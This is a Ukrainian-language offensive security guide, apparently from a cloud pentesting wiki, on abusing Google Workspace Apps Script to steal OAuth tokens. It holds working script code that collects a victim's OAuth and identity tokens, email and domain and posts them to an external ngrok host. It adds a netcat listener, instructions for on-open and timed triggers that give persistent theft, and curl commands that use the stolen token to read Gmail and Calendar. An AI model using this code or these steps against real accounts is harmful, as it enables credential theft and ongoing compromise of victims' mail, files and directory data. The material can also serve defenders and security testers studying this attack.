GWS - App Scripts

App Scripts

App Scripts - це код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script і після прийняття запиту OAuth. Вони також можуть бути налаштовані на виконання через певний проміжок часу власником App Script (постійність).

Create App Script

Існує кілька способів створити App Script, хоча найпоширеніші з них - це з Google Документу (будь-якого типу) та як окремий проект:

App Script Scenario

Create Google Sheet with App Script

Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до Розширення > App Scripts, це відкриє новий App Script, пов'язаний з таблицею.

Leak token

Щоб надати доступ до токена OAuth, вам потрібно натиснути на Служби + і додати області, такі як:

• AdminDirectory: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)

• Gmail: Для доступу до даних gmail

• Drive: Для доступу до даних диска

• Google Sheets API: Щоб це працювало з тригером

Щоб змінити необхідні області, ви можете перейти до налаштувань проекту та увімкнути: Показати файл маніфесту "appsscript.json" в редакторі.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Щоб захопити запит, ви можете просто виконати:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Create Trigger

Після того, як додаток буде прочитано, натисніть на ⏰ Triggers, щоб створити тригер. Як функцію для виконання виберіть getToken, виконується при розгортанні Head, у джерелі події виберіть From spreadsheet і тип події виберіть On open або On edit (згідно з вашими потребами) і збережіть.

Зверніть увагу, що ви можете перевірити виконання App Scripts на вкладці Виконання, якщо хочете щось налагодити.

Sharing

Щоб запустити App Script, жертва повинна підключитися з доступом редактора.

Abusing Shared With Me documents

Copying instead of sharing

Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Якщо ви зміните закінчення "/edit" на "/copy", замість доступу до нього Google запитає вас, чи хочете ви створити копію документа:

Якщо користувач копіює його та отримує доступ, як вміст документа, так і App Scripts будуть скопійовані, однак тригери не будуть, тому нічого не буде виконано.

Sharing as Web Application

Зверніть увагу, що також можливо поділитися App Script як веб-додатком (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:

Після цього з'явиться типове вікно запиту OAuth, що запитує необхідні дозволи.

Testing

Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Список календаря користувача:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script як постійний доступ

Один з варіантів постійного доступу - це створити документ і додати тригер для функції getToken та поділитися документом з атакуючим, щоб щоразу, коли атакуючий відкриває файл, він екстрагує токен жертви.

Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен:

Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:

Обхід неперевіреного запиту спільного документа

Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створювати App Scripts всередині документа, а ВЛАСНИК (творець) документа буде власником App Script.